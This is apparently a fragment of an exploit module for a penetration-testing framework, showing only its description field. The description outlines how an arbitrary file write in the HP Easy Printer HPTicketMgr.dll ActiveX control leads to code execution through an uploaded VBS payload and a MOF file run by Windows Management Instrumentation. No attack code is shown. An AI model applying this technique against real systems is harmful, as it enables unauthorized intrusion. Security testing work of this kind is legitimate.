   'Description'    => %q{
     This module allows remote attackers to place arbitrary files on a users file
    system by abusing the "CacheDocumentXMLWithId" method from the "XMLCacheMgr"
    class in the HP Easy Printer HPTicketMgr.dll ActiveX Control (HPTicketMgr.dll
    2.7.2.0).

     Code execution can be achieved by first uploading the payload to the remote
    machine embeddeding a vbs file, and then upload another mof file, which enables
    Windows Management Instrumentation service to execute the vbs. Please note that
    this module currently only works for Windows before Vista.
